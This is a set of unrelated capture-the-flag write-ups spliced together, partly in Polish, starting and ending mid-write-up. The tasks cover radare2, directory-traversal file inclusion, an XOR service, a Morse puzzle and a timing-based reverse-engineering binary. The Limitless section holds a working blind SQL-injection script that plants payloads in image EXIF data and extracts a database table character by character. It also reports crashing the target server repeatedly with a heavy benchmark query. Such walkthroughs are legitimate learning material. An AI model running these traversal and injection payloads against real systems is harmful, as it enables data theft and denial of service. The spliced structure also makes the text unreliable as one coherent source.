FLAG] flag{s3v3r4l_l4y3r5_d33p_&_2m4ny_l4yers_w1d3}``` Finally! We now have our flag:```flag{s3v3r4l_l4y3r5_d33p_&_2m4ny_l4yers_w1d3}``` # Closing NoteThese great r2 memes are brought to you courtesy of itsZN More memes can be found [here](https://www.reddit.com/r/r2memes/)
# Module Loader ## Problem Since his students never know what date it is and how much time they have until the next homework's deadline, Mr P. H. Porter wrote a little webapp for that.You can find it [here](https://school.fluxfingers.net:1522). ## Solution Credit: [@emedvedev](https://github.com/emedvedev) The app contains a simple module list: ![](loader.png?raw=true) Clicking on "date" sends us to `https://school.fluxfingers.net:1522/?module=date` and outputs `Today: 2015-10-25` on the screen. There's also a comment in the app: ``` ``` `https://school.fluxfingers.net:1522/modules/` reveal an Apache directory listing, indicating that module names in the URL are just links to files in the `modules` dir: ![](listing.png?raw=true) Let's try directory traversal. `https://school.fluxfingers.net:1522/?module=../index.php` includes `index.php` in place of a module. ![](index.png?raw=true) After a few guesses, turns out `../.htaccess` has something interesting: ```# needs to be hidden from direct access ``` Let's open the dir: ![](dir.png?raw=true) Opening `flag.php` to get our flag: ```not that easy, fella``` Minor setback. Let's include the file through the `?module` argument: `https://school.fluxfingers.net:1522/?module=../3cdcf3c63dc02f8e5c230943d9f1f4d75a4d88ae/flag.php` reveals the flag. ![](flag.png?raw=true)
## Limitless (web, 200p) ### PL [ENG](#eng-version) W zadaniu dostajemy link do webowego uploadera plików, oraz informacje, że mamy wyciągnąć jakieś informacje z tabeli `flag`.Analiza uploadera oraz jego działania pozwala zauważyć, że uploader po załadowaniu pliku pobiera z niego dane `exif` a następnie na podstawie pola `exif.primary.Software` wyszukuje w bazie danych oraz wyświetla zdjęcia utworzone tym samym oprogramowaniem. Zastosowaliśmy więc technikę `SQL Injection` poprzez pole exif, za pomocą skryptu: ```python img = pexif.JpegFile.fromFile("file.jpg") img.exif.primary.Software = '"&&' + sql + '#' img.writeFile('file.jpg')``` Który dopisywał nasze zapytanie do pliku i przygotowywał je do wykonania. Zapytanie trafiało do klauzuli `where` zaraz za porównaniem ze stringiem. Niestety mieliśmy twarde ograniczenie wynoszące 50 znaków dla tego pola exif, co mocno ograniczało nasze możliwości.Dodatkowo wykluczona była operacja union a tabela z której dokonywano selekcji miała 0 rekordów. W związku z tym postanowiliśmy wykorzystać atak `remote timing` na bazę danych wraz z testowaniem pojedyńczych znaków jedynego elementu tabeli flags (gdzie spodziewaliśmy się flagi) - jeśli porównanie symbolu było niepoprawne wykonywaliśmy długo liczący się kod (sleep nie był dostępny). Z racji małej liczby znaków nie mogliśmy użyć funkcji `substring` ani `mid`, musieliśmy opierać się o przesuwające się okno ze znamym fragmentem flagi. Kod sql to: ```sqlbenchmark(~-((select*from flag)like'%" + window + "%'),1)``` Funkcja benchmark wykonuje podany kod tyle razy ile wynosi pierwszy argument. W naszym przypadku wartość boolean jest zamieniana na liczbę za pomocą unarnego minusa a następnie bity są negowane. Problem z tym rozwiązaniem polegał na tym, że taki benchmark wykonuje się bardzo (!) długo a w naszym kodzie uruchamiamy go dla każdego nie pasującego symbolu, więc dla każdego zgadywanego znaku pesymistycznie prawie 40 razy. Skutek był taki, że położyliśmy serwer 5 razy uzyskując raptem 2/3 flagi a organizatorzy postanowili zablokować funkcję benchmark. Nasze drugie podejście wykorzystało inny sposób - logowanie błędów mysql. Użyliśmy zapytania: ```sqlrlike(if(mid((select*from flag),"+CHARACTER_INDEX+",1)='"+CHARACTER+"','',1))``` Dzięki czemu w zależności od spełnienia warunku skrypt wykonywał się poprawnie lub zgłaszał błąd składniowy.Cały skrypt odzyskujący flagę: ```pythonimport pexif, subprocess ​def execute_sql(sql): img = pexif.JpegFile.fromFile("/var/www/html/img.jpg") img.exif.primary.Software = '"' + sql + '#' img.writeFile('/var/www/html/imgdest.jpg') return subprocess.check_output('curl -s -F submit=1 -F file=@/var/www/html/imgdest.jpg http://10.13.37.3', shell=True) for i in range(1, 999): for c in (range(48, 58) + range(65, 91) + range(97, 126)): if 'expression' in execute_sql("rlike(if(mid((select*from flag),"+str(i)+",1)='"+chr(c)+"','',1))"): print chr(c), break``` A jego wynik: `DCTF{09D5D8300A7ADC45C5D434BB467F2A85}` ### ENG version In the task we get a link to a web file upoloader and an information that we need to extract some data from `flag` table.Analysis of the uploader and its behaviour reveals that the uploader, after loading the file, collected `exif` data and then based on `exif.primary.Software` finds and displays other pictures made with the same software. We used `SQL Injection` via exif field using script: ```python img = pexif.JpegFile.fromFile("file.jpg") img.exif.primary.Software = '"&&' + sql + '#' img.writeFile('file.jpg')``` This script was adding the query to the file and preparing it for execution. The query was then placed in `where` clause, right after the comparison with a string. Unfortunately we hade a hard limit of 50 characters for the query, which was a strong limiting factor. On top of that it was impossible to use `union` and the table on which the selection was executed had 0 rows. Therefore we decided to use `remote timing attack` on the database with testing single character of the sole element of flags table (where we expected to find the flag) - if the condition was not matching we were executing a long running task (sleep was unavailable). Since the characters number limitation we could not use `substring` or `mid` functions and we had to relay on a moving window with known flag prefix/suffix. The SQL code was: ```sqlbenchmark(~-((select*from flag)like'%" + window + "%'),1)``` Benchmark function executes given code as many times as stated in the first argunent. In our case boolean is converted to int via unary minus and then bits are negated. The problem was that this benchmark executes really long (!) and in our code we we run it for every non matching symbol, so for any guessed character we might use almost 40 of those processes. As a result we crashed the server 5 times and still got only 2/3 of the flag and organisers finally decided to block benchmark function. Our second attempt was using a different approach - exploiting errors in mysql. We used: ```sqlrlike(if(mid((select*from flag),"+CHARACTER_INDEX+",1)='"+CHARACTER+"','',1))``` And therefore the script would execute normally or crash with a syntax error, depending on the condition value.Whole script for extracting the flag: ```pythonimport pexif, subprocess ​def execute_sql(sql): img = pexif.JpegFile.fromFile("/var/www/html/img.jpg") img.exif.primary.Software = '"' + sql + '#' img.writeFile('/var/www/html/imgdest.jpg') return subprocess.check_output('curl -s -F submit=1 -F file=@/var/www/html/imgdest.jpg http://10.13.37.3', shell=True) for i in range(1, 999): for c in (range(48, 58) + range(65, 91) + range(97, 126)): if 'expression' in execute_sql("rlike(if(mid((select*from flag),"+str(i)+",1)='"+chr(c)+"','',1))"): print chr(c), break``` And the result. `DCTF{09D5D8300A7ADC45C5D434BB467F2A85}`
### EXORCISE##### 50 pointsQuestion--Simple Exorcise. Get the key! Connect to `exorcise.polictf.it:80`Readings-- Answer--First we can use 'nc' to connect the server:```bash$ nc exorcise.polictf.it 802e0540472c37151c4e007f481c2a0110311204084f[Stands for input]```I have used `null`(ctrl+space) for input and the result was:(null used because xor of any thing with null(zero) is the thing itself): ```bash$ nc exorcise.polictf.it 802e0540472c37151c4e007f481c2a0110311204084f^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@2e0541677b5f746869735f31735f73305f73696d706c655f796f755f73686f756c645f686176655f736f6c7665645f5f69745f316e5f355f7365637d666c61677b5f746869735f31735f73305f73696d706c655f796f755f73686f756c645f686176655f736f6c7665645f5f69745f316e5f355f7365637d666c61495b161248101c2a11122d16102d1608091902027f0d071c2c53050a061f05380d410f0a2a531f1e1907053d3310543e5d1c3a512653020c09461809025b341111475310451b3a014736000c4d0404002c1c4f142d164805001f107f094114103110074c190344283a00063b110c26413a00```Now we must convert hex to string: ```pythons="2e0541677b5f746869735f31735f73305f73696d706c655f796f755f73686f756c645f686176655f736f6c7665645f5f69745f316e5f355f7365637d666c61677b5f746869735f31735f73305f73696d706c655f796f755f73686f756c645f686176655f736f6c7665645f5f69745f316e5f355f7365637d666c61495b161248101c2a11122d16102d1608091902027f0d071c2c53050a061f05380d410f0a2a531f1e1907053d3310543e5d1c3a512653020c09461809025b341111475310451b3a014736000c4d0404002c1c4f142d164805001f107f094114103110074c190344283a00063b110c26413a00"print s.decode('hex').Ag{_this_1s_s0_simple_you_should_have_solved__it_1n_5_sec}flag{_this_1s_s0_simp?,Syou_should_have_solved__it_1n_5_sec}flaI[??H??*??-??-? ???A?8*S???=3?T>]?:Q&S? F? ?[4??GS?E?:?G6 M??,?O?-?H?? A??1?L??D(:?;? &A``` ##### Flag: `flag{_this_1s_s0_simple_you_should_have_solved__it_1n_5_sec}`
##Crytpo 100 (crypto, 100p) ###PL[ENG](#eng-version) Treść zadania była następująca "Przechwycono rozmowę hackera w której wymienia tajne hasło. Prawie na pewno jest alfabetem morsa. Głupi protokół usunął wszystkie spacje. Odnajdź hasło."Rozwiązanie to dctf{md5}. ```..-......-..--.-..--..-..-.--..-.-..-.....-..-.--..--.....-.-.-----..-..-...-.-..---..---.....--.-.....--.--..-....-.-.-.----....-.--....-.-......--.-.-..--..--..-.----....--.-.....-----..--.-.....---..-..-......--...--.-.......-.-.--.-.-----.--...--..-.-.---.--.--...--.--....-.-...--..-.-.----..-.---..-.-.-...-...-..-.--.-.......-.....-.-.--.-.-----..-.--...-..-.------.-.-.....-.---.-..-----.-.--.--......-....-.....--..--..-.--.-....--..-.--..--..-..-...-..-.--..--.--.-..-----.-....--.--..-...--.-.-.-....-.-------..-.-.-...-...-..-.--.-.......-........-..-.-.---...--.--.-.-.-.--.-.-..--..----.-.-..........-....---.--..--.--.---.-.-.--.-..-.......-.---.-.....-..-.-.---......-.--..--.-..---.-.-.--....-.....-.-..-.-...-..-.--..-.--.-...--.--...------.--.-.---..-.-..-----.-.-.-..-...-.--.--.-....-..-...-.-.-.------...-.--..---.--..-........---..-.-...-...--..-.-..-......-.--.-....-....-..----.-.-.-.....-.---.-..-----.-.--.--.-....-.........-.-...--.--.---.-.-.--.-..-.-----...--.--.----.....-......-...-.-.--.....------.-.....----......-......--.-..--..---......-...-.-.........-..-..-.-...-..--....---.-...-......-.....---.-......-.-.-.-....-..-.-.-------...-.-.....--.....-..----....-.-.....----..-....-...-....-...-.----.--.-.-.-.-.-....-..-.-.--.--.-...-..--..--....-..-.-.----........---....-..-.-----..-..--.-..-...-------.-.....-.-......-.-.-.-.-...-.-.--.....-.--.-..-------.-..-.---.-.-....--..--...--.--...--..--..-......-...--...---..---.....---.-----..--.-..--..----.--..----.-----..-.-..--....-.....-...-.-..-.-.-...-..-.--.--..-....---..--.....-...-..-.--....-----.----......-..--..-...-....---..-..-.--.....--.---.-.......-.--...-.-.-.-..-.......--..--.-.-.-...--.-.--....-...-.....--..-.....-......-...-.-....--.--.--..-.......-...-..--.-..-......--.-.-.-.........--..-.......--......-..-................---....-.------....----....---...-----...--.......-.-....-.-....--.....---....----.-.-......------.-...----....-----.----.....--.......-.-.-.-......---.--..-.....---.....----......--.---.-.......-.--...-..-.---.-.--.----.--...---..-------.-.....-.-.----....--.-..-.....---.....---..---.......-.-......-.-..--.-.-..-......-....-..-......-.---.-...--...-...-..--......-....--..-.....--.-.-.-...---.--...........-.--.-.-----..---.-------...-....--.-.-.----.--..-..-....-.-...--.-...-...-.----........---.--..-.----..---..-...-...--..-...-.-..-..---.....-.-.-.-.--....---.....-...---..---.....--.........--..--.-............--..-.-.-``` Użyliśmy kodu z [https://gist.github.com/ebuckley/1842461](https://gist.github.com/ebuckley/1842461), przerabijąc go dodając obsługę cyfr i ograniczając obsługę liter do A-F.Jednak zwracał coś około 20 milionów możliwych hashy. Próbowaliśmy też różnych słownikowych solverów, ale bez skutku.Po jedenastu godzinach(z 24)organizatorzy zorientowali się, że zadanie jest niemożliwe do zrobienia.Zmienili kod zadania na: ```..​-​..​...​.​-..-​-​.-.​.​--​.​.-..​-.--​..​-.​-​.​.-.​.​...​-​..​-.​--.​.--​....​.​-.​-.--​---​..-​..-.​..​-.​-..​---​..-​-​-​....​.-​-​.-​...​..​--​.--.​.-..​.​.​-.​-.-.​---​-..​..​-.​--.​...​-.-.​....​.​--​.​-.-.​.-​-.​.--.​.-.​---​-..​..-​-.-.​.​...​---​--​..-​-.-.​....​---​..-.​.-​....​.​.-​-..​.-​-.-.​....​.​.-.-.-​-.-.​---​--​.--.​..-​-​.​.-.​-.​---​.--​.-​-..​.-​-.--​...​.-​.-.​.​.--.​.-​.-.​-​---​..-.​---​..-​.-.​-..​.-​..​.-..​-.--​.-..​..​...-​.​...​.-.-.-​-.-.​---​--​..​-.​--.​..-.​.-.​---​--​-​.​-.-.​....​-.​---​.-..​---​--.​-.--​.--​....​.​.-.​.​..​-​..​...​--.​.​-​-​..​-.​--.​-...​.​-​-​.​.-.​--..--​..-.​.-​...​-​.​.-.​--..--​.-​-.​-..​--​---​.-.​.​..​--​.--.​.-..​.​--​.​-.​-​.​-..​..​-.​-​---​---​..-​.-.​-..​.-​..​.-..​-.--​.-..​..​...-​.​...​.​...-​.​.-.​-.--​-..​.-​-.--​.-.-.-​.--​.​-.-.​.-​-.​.----.​-​.-.​.​...​..​...​-​....​---​.--​..​--​.--.​---​.-.​-​.-​-.​-​..​-​..​...​..-.​---​.-.​.​...-​.​.-.​-.--​-​....​..​-.​--.​.--​.​-..​---​.-.-.-​-...​.-​...​..​-.-.​.-​.-..​.-..​-.--​..​-​.--​.-​...​--​.-​-..​.​-​---​--​.-​-.-​.​---​..-​.-.​.--​---​.-.​-.-​.​.-​...​-.--​.-​-.​-..​..-.​.-​...​-​.-.-.-​--​---​...​-​.--.​.​---​.--.​.-..​.​...​.​.​---​..-​.-.​..-.​..-​-​..-​.-.​.​-...​.​..​-.​--.​-...​.-​...​.​-..​---​-.​-​.​-.-.​....​-.​---​.-..​---​--.​-.--​.-​-.​-..​..​-​..​...​.​...-​.​-.​..​--​.--.​---​.-.​-​.-​-.​-​..​-.​-​---​-..​.-​-.--​.----.​...​.-..​..​..-.​.​.-.-.-​-...​..-​-​---​-.​-​....​.​---​-​....​.​.-.​....​.-​-.​-..​--..--​-​....​.​.-.​.​.-​.-.​.​...​.​...-​.​.-.​.-​.-..​.-​..-​-​....​---​.-.​..​-​..​.​...​-​....​.-​-​-.-.​....​.​-.-.​-.-​.​...-​.​.-.​-.--​--​---​...-​.​-​....​.-​-​..​...​-..​---​-.​.​..​-.​-​....​.​---​-.​.-..​..​-.​.​.​-.​...-​..​.-.​---​-.​--​.​-.​-​.-.-.-​.​...-​.​.-.​-.--​.​--​.-​..​.-..​--..--​.​...-​.​.-.​-.--​--​.​...​...​.-​--.​.​..-.​.-.​---​--​..-.​.-​-.-.​.​-...​---​---​-.-​..​...​-.-.​....​.​-.-.​-.-​.​-..​.-.-.-​-​....​.​-.--​.-..​---​---​-.-​..-.​---​.-.​-...​.-​-..​--.​..-​-.--​...​--..--​..​-​..​...​.-..​.​--.​..​-​--..--​-...​..-​-​-.--​---​..-​-.-.​.-​-.​.----.​-​-..​---​-.--​---​..-​.-.​.--​..​..-.​.​...-​..​.-.​-​..-​.-​.-..​.-..​-.--​.--​..​-​....​---​..-​-​....​.-​...-​..​-.​--.​...​---​--​.​---​-​....​.​.-.​.--.​.-​..​.-.​...​---​..-.​.​-.--​.​...​.--​.-​-​-.-.​....​..​-.​--.​..​-​.-.-.-​..​-​..​...​..-​-.​.-​-.-.​-.-.​.​.--.​-​.-​-...​.-..​.​-...​..-​-​..​-​..​...​-​....​.​.-.​.​.-​.-..​..​-​-.--​.--​.​.-..​..​...-​.​..​-.​.-​-.​-..​-​....​.​.-​-.-.​-.-.​.​...​...​.--.​.-​...​...​.--.​....​.-.​.-​...​.​..​...​.....​..---​....-​.----​--...​.----​....-​--...​-----​...--​.....​..-.​-...​.​-.-.​...--​.....​---..​..---​-.-.​-....​.​.​-----​-.-.​..---​-....​-----​.----​.....​--...​....-​.-.-.-​..​....​---​.--.​.​-​....​.-​-​-​....​.​---​-.​.​...​.--​.-​-​-.-.​....​..​-.​--.​..​-​..-.​---​.-.​--.​---​-​.-​-...​---​..-​-​--​---​.-.​...​.​-.-.​---​-..​.​.-​-.​-..​-​....​.-​-​-​....​.​---..​---..​.....​-.-.​....​.-​.-.​.-​-.-.​-​.​.-.​...​..-​...​.​-..​-...​.​..-.​---​.-.​.​.--​..​.-..​.-..​--​..​...​.-..​.​.-​-..​-​....​.​--​.-.-.-​..​.-​--​.--​..​...​....​..​-.​--.​-.--​---​..-​--.​---​---​-..​.-..​..-​-.-.​-.-​--​-.--​..-.​.-.​..​.​-.​-..​.-​-.​-..​.-..​.​-​.----.​...​....​---​.--.​.​-.​---​-.​.​---​..-.​..-​...​--.​.​-​...​-.-.​.-​..-​--.​....​-​.-.-.-​.--.​...​---...​..​-...​---​..-​--.​....​-​-​....​.​...​.--.​.-​-.-.​.​...​....​..​.--.​.-.-.-``` Teraz nie trudno sie domyślić ze `​` to spacje, a zadanie staje się banalnie proste. Zostało rozwiązane przez wszystkie drużyny.Przetłumaczona wiadomość ```ITISEXTREMELYINTERESTINGWHENYOUFINDOUTTHATASIMPLEENCODINGSCHEMECANPRODUCESOMUCHOFAHEADACHECOMPUTERNOWADAYSAREPARTOFOURDAILYLIVESCOMINGFROMTECHNOLOGYWHEREITISGETTINGBETTERFASTERANDMOREIMPLEMENTEDINTOOURDAILYLIVESEVERYDAYWECANTRESISTHOWIMPORTANTITISFOREVERYTHINGWEDOBASICALLYITWASMADETOMAKEOURWORKEASYANDFASTMOSTPEOPLESEEOURFUTUREBEINGBASEDONTECHNOLOGYANDITISEVENIMPORTANTINTODAYSLIFEBUTONTHEOTHERHANDTHEREARESEVERALAUTHORITIESTHATCHECKEVERYMOVETHATISDONEINTHEONLINEENVIRONMENTEVERYEMAILEVERYMESSAGEFROMFACEBOOKISCHECKEDTHEYLOOKFORBADGUYSITISLEGITBUTYOUCANTDOYOURWIFEVIRTUALLYWITHOUTHAVINGSOMEOTHERPAIRSOFEYESWATCHINGITITISUNACCEPTABLEBUTITISTHEREALITYWELIVEINANDTHEACCESSPASSPHRASEIS52417147035FBEC3582C6EE0C2601574IHOPETHATTHEONESWATCHINGITFORGOTABOUTMORSECODEANDTHATTHE885CHARACTERSUSEDBEFOREWILLMISLEADTHEMIAMWISHINGYOUGOODLUCKMYFRIENDANDLETSHOPENONEOFUSGETSCAUGHTPSIBOUGHTTHESPACESHIP``` ### ENG version The task was as follows "We have captured hackers conversation in which he mentions secret password. Is for almost 100% encoded with morse alphabet. Dumb protocol erases all spaces. Get the password"Flag is in format dctf{md5}. ```..-......-..--.-..--..-..-.--..-.-..-.....-..-.--..--.....-.-.-----..-..-...-.-..---..---.....--.-.....--.--..-....-.-.-.----....-.--....-.-......--.-.-..--..--..-.----....--.-.....-----..--.-.....---..-..-......--...--.-.......-.-.--.-.-----.--...--..-.-.---.--.--...--.--....-.-...--..-.-.----..-.---..-.-.-...-...-..-.--.-.......-.....-.-.--.-.-----..-.--...-..-.------.-.-.....-.---.-..-----.-.--.--......-....-.....--..--..-.--.-....--..-.--..--..-..-...-..-.--..--.--.-..-----.-....--.--..-...--.-.-.-....-.-------..-.-.-...-...-..-.--.-.......-........-..-.-.---...--.--.-.-.-.--.-.-..--..----.-.-..........-....---.--..--.--.---.-.-.--.-..-.......-.---.-.....-..-.-.---......-.--..--.-..---.-.-.--....-.....-.-..-.-...-..-.--..-.--.-...--.--...------.--.-.---..-.-..-----.-.-.-..-...-.--.--.-....-..-...-.-.-.------...-.--..---.--..-........---..-.-...-...--..-.-..-......-.--.-....-....-..----.-.-.-.....-.---.-..-----.-.--.--.-....-.........-.-...--.--.---.-.-.--.-..-.-----...--.--.----.....-......-...-.-.--.....------.-.....----......-......--.-..--..---......-...-.-.........-..-..-.-...-..--....---.-...-......-.....---.-......-.-.-.-....-..-.-.-------...-.-.....--.....-..----....-.-.....----..-....-...-....-...-.----.--.-.-.-.-.-....-..-.-.--.--.-...-..--..--....-..-.-.----........---....-..-.-----..-..--.-..-...-------.-.....-.-......-.-.-.-.-...-.-.--.....-.--.-..-------.-..-.---.-.-....--..--...--.--...--..--..-......-...--...---..---.....---.-----..--.-..--..----.--..----.-----..-.-..--....-.....-...-.-..-.-.-...-..-.--.--..-....---..--.....-...-..-.--....-----.----......-..--..-...-....---..-..-.--.....--.---.-.......-.--...-.-.-.-..-.......--..--.-.-.-...--.-.--....-...-.....--..-.....-......-...-.-....--.--.--..-.......-...-..--.-..-......--.-.-.-.........--..-.......--......-..-................---....-.------....----....---...-----...--.......-.-....-.-....--.....---....----.-.-......------.-...----....-----.----.....--.......-.-.-.-......---.--..-.....---.....----......--.---.-.......-.--...-..-.---.-.--.----.--...---..-------.-.....-.-.----....--.-..-.....---.....---..---.......-.-......-.-..--.-.-..-......-....-..-......-.---.-...--...-...-..--......-....--..-.....--.-.-.-...---.--...........-.--.-.-----..---.-------...-....--.-.-.----.--..-..-....-.-...--.-...-...-.----........---.--..-.----..---..-...-...--..-...-.-..-..---.....-.-.-.-.--....---.....-...---..---.....--.........--..--.-............--..-.-.-``` We have downloaded code from [https://gist.github.com/ebuckley/1842461](https://gist.github.com/ebuckley/1842461) and modified it by adding numbers to dictionary and limiting other characters to A-F range.We get almos 20 milions of md5 hashes. We have also triead some dictionary based solvers but with no avail.After eleven hours of twenty four the organisers realised it's unsolvable.They updated code to: ```..​-​..​...​.​-..-​-​.-.​.​--​.​.-..​-.--​..​-.​-​.​.-.​.​...​-​..​-.​--.​.--​....​.​-.​-.--​---​..-​..-.​..​-.​-..​---​..-​-​-​....​.-​-​.-​...​..​--​.--.​.-..​.​.​-.​-.-.​---​-..​..​-.​--.​...​-.-.​....​.​--​.​-.-.​.-​-.​.--.​.-.​---​-..​..-​-.-.​.​...​---​--​..-​-.-.​....​---​..-.​.-​....​.​.-​-..​.-​-.-.​....​.​.-.-.-​-.-.​---​--​.--.​..-​-​.​.-.​-.​---​.--​.-​-..​.-​-.--​...​.-​.-.​.​.--.​.-​.-.​-​---​..-.​---​..-​.-.​-..​.-​..​.-..​-.--​.-..​..​...-​.​...​.-.-.-​-.-.​---​--​..​-.​--.​..-.​.-.​---​--​-​.​-.-.​....​-.​---​.-..​---​--.​-.--​.--​....​.​.-.​.​..​-​..​...​--.​.​-​-​..​-.​--.​-...​.​-​-​.​.-.​--..--​..-.​.-​...​-​.​.-.​--..--​.-​-.​-..​--​---​.-.​.​..​--​.--.​.-..​.​--​.​-.​-​.​-..​..​-.​-​---​---​..-​.-.​-..​.-​..​.-..​-.--​.-..​..​...-​.​...​.​...-​.​.-.​-.--​-..​.-​-.--​.-.-.-​.--​.​-.-.​.-​-.​.----.​-​.-.​.​...​..​...​-​....​---​.--​..​--​.--.​---​.-.​-​.-​-.​-​..​-​..​...​..-.​---​.-.​.​...-​.​.-.​-.--​-​....​..​-.​--.​.--​.​-..​---​.-.-.-​-...​.-​...​..​-.-.​.-​.-..​.-..​-.--​..​-​.--​.-​...​--​.-​-..​.​-​---​--​.-​-.-​.​---​..-​.-.​.--​---​.-.​-.-​.​.-​...​-.--​.-​-.​-..​..-.​.-​...​-​.-.-.-​--​---​...​-​.--.​.​---​.--.​.-..​.​...​.​.​---​..-​.-.​..-.​..-​-​..-​.-.​.​-...​.​..​-.​--.​-...​.-​...​.​-..​---​-.​-​.​-.-.​....​-.​---​.-..​---​--.​-.--​.-​-.​-..​..​-​..​...​.​...-​.​-.​..​--​.--.​---​.-.​-​.-​-.​-​..​-.​-​---​-..​.-​-.--​.----.​...​.-..​..​..-.​.​.-.-.-​-...​..-​-​---​-.​-​....​.​---​-​....​.​.-.​....​.-​-.​-..​--..--​-​....​.​.-.​.​.-​.-.​.​...​.​...-​.​.-.​.-​.-..​.-​..-​-​....​---​.-.​..​-​..​.​...​-​....​.-​-​-.-.​....​.​-.-.​-.-​.​...-​.​.-.​-.--​--​---​...-​.​-​....​.-​-​..​...​-..​---​-.​.​..​-.​-​....​.​---​-.​.-..​..​-.​.​.​-.​...-​..​.-.​---​-.​--​.​-.​-​.-.-.-​.​...-​.​.-.​-.--​.​--​.-​..​.-..​--..--​.​...-​.​.-.​-.--​--​.​...​...​.-​--.​.​..-.​.-.​---​--​..-.​.-​-.-.​.​-...​---​---​-.-​..​...​-.-.​....​.​-.-.​-.-​.​-..​.-.-.-​-​....​.​-.--​.-..​---​---​-.-​..-.​---​.-.​-...​.-​-..​--.​..-​-.--​...​--..--​..​-​..​...​.-..​.​--.​..​-​--..--​-...​..-​-​-.--​---​..-​-.-.​.-​-.​.----.​-​-..​---​-.--​---​..-​.-.​.--​..​..-.​.​...-​..​.-.​-​..-​.-​.-..​.-..​-.--​.--​..​-​....​---​..-​-​....​.-​...-​..​-.​--.​...​---​--​.​---​-​....​.​.-.​.--.​.-​..​.-.​...​---​..-.​.​-.--​.​...​.--​.-​-​-.-.​....​..​-.​--.​..​-​.-.-.-​..​-​..​...​..-​-.​.-​-.-.​-.-.​.​.--.​-​.-​-...​.-..​.​-...​..-​-​..​-​..​...​-​....​.​.-.​.​.-​.-..​..​-​-.--​.--​.​.-..​..​...-​.​..​-.​.-​-.​-..​-​....​.​.-​-.-.​-.-.​.​...​...​.--.​.-​...​...​.--.​....​.-.​.-​...​.​..​...​.....​..---​....-​.----​--...​.----​....-​--...​-----​...--​.....​..-.​-...​.​-.-.​...--​.....​---..​..---​-.-.​-....​.​.​-----​-.-.​..---​-....​-----​.----​.....​--...​....-​.-.-.-​..​....​---​.--.​.​-​....​.-​-​-​....​.​---​-.​.​...​.--​.-​-​-.-.​....​..​-.​--.​..​-​..-.​---​.-.​--.​---​-​.-​-...​---​..-​-​--​---​.-.​...​.​-.-.​---​-..​.​.-​-.​-..​-​....​.-​-​-​....​.​---..​---..​.....​-.-.​....​.-​.-.​.-​-.-.​-​.​.-.​...​..-​...​.​-..​-...​.​..-.​---​.-.​.​.--​..​.-..​.-..​--​..​...​.-..​.​.-​-..​-​....​.​--​.-.-.-​..​.-​--​.--​..​...​....​..​-.​--.​-.--​---​..-​--.​---​---​-..​.-..​..-​-.-.​-.-​--​-.--​..-.​.-.​..​.​-.​-..​.-​-.​-..​.-..​.​-​.----.​...​....​---​.--.​.​-.​---​-.​.​---​..-.​..-​...​--.​.​-​...​-.-.​.-​..-​--.​....​-​.-.-.-​.--.​...​---...​..​-...​---​..-​--.​....​-​-​....​.​...​.--.​.-​-.-.​.​...​....​..​.--.​.-.-.-``` Now it's easy to guess that `​` replaced spaces and task is trivial. Task was solved by every team.Decoded message ```ITISEXTREMELYINTERESTINGWHENYOUFINDOUTTHATASIMPLEENCODINGSCHEMECANPRODUCESOMUCHOFAHEADACHECOMPUTERNOWADAYSAREPARTOFOURDAILYLIVESCOMINGFROMTECHNOLOGYWHEREITISGETTINGBETTERFASTERANDMOREIMPLEMENTEDINTOOURDAILYLIVESEVERYDAYWECANTRESISTHOWIMPORTANTITISFOREVERYTHINGWEDOBASICALLYITWASMADETOMAKEOURWORKEASYANDFASTMOSTPEOPLESEEOURFUTUREBEINGBASEDONTECHNOLOGYANDITISEVENIMPORTANTINTODAYSLIFEBUTONTHEOTHERHANDTHEREARESEVERALAUTHORITIESTHATCHECKEVERYMOVETHATISDONEINTHEONLINEENVIRONMENTEVERYEMAILEVERYMESSAGEFROMFACEBOOKISCHECKEDTHEYLOOKFORBADGUYSITISLEGITBUTYOUCANTDOYOURWIFEVIRTUALLYWITHOUTHAVINGSOMEOTHERPAIRSOFEYESWATCHINGITITISUNACCEPTABLEBUTITISTHEREALITYWELIVEINANDTHEACCESSPASSPHRASEIS52417147035FBEC3582C6EE0C2601574IHOPETHATTHEONESWATCHINGITFORGOTABOUTMORSECODEANDTHATTHE885CHARACTERSUSEDBEFOREWILLMISLEADTHEMIAMWISHINGYOUGOODLUCKMYFRIENDANDLETSHOPENONEOFUSGETSCAUGHTPSIBOUGHTTHESPACESHIP```
## Time is not your friend (re, 200p) ### PL [ENG](#eng-version) Dostajemy [program](./re200) (elf), do zbadania, i rozpoczynamy analizę działania. Ciekawe w programie jest to, że czyta żadnych plików, ani nie chce nic od użytkownika, ani nie bierze żadnych parametrów z linii poleceń - po prostu sie wykonuje. Trzon programu opiera się na następującym kodzie: ```c++bool test(int a1) { int v3 = a1; int v4 = 0; while (v3) { v1 = clock(); sleep(5); v4 += v3 % 10; if (clock() - v1 <= 19) { v3 *= 137; } v3 /= 10; } return v4 == 41;} int getint() { v0 = clock(); sleep(5); if (clock() - v0 > 19) result = 49000000; else result = 33000000; return result;} int main() { int v2 = 2; int v4 = 2; while(true) { int i; for ( i = 2; v4 - 1 >= i && v4 % i; ++i ); if (i == v4) { v0 = clock(); ++v2; sleep(3); if ( clock() - v0 <= 19 ) exit(0); if(getint() <= v2 && test(v4)) { printf("Well done\n", v4); break; } } v4++; }}``` Widać masę bezsensownego kodu i sleepów. Ale przede wszystkim, co tu się dzieje? Program testuje liczby (w v4) od 2 do nieskończoności, aż znajdzie taką która mu się "podoba" (przechodzi dwa testy). Wtedy wypisuje "well done". Założyliśmy więć, że v4 jest flagą (całkiem słusznie). Pierwszym naszym krokiem było usunięcie wszystkich sleepów (jako że zachowanie kodu zależy od szybkości w kilku miejscach, zakładamy że poprawna ścieżka to ta gdzie kod wykonuje się długo), żeby przyśpieszyć kod do takiego stanu żeby kiedyś otrzymać v4. ```c++bool test(int a1) { int v3 = a1; int v4 = 0; while (v3) { v1 = clock(); v4 += v3 % 10; v3 /= 10; } return v4 == 41;} int getint() { return 49000000;} int main() { int v2 = 2; int v4 = 2; while(true) { int i; for ( i = 2; v4 - 1 >= i && v4 % i; ++i ); if (i == v4) { ++v2; exit(0); if (getint() <= v2 && test(v4)) { printf("DCTF{%d}\n", v4); break; } } v4++; }}``` Następnie patrzymy na działanie kodu. Po usunięciu sleepów kod robi dalej to co oryginał, ale szybciej. Myślimy więc 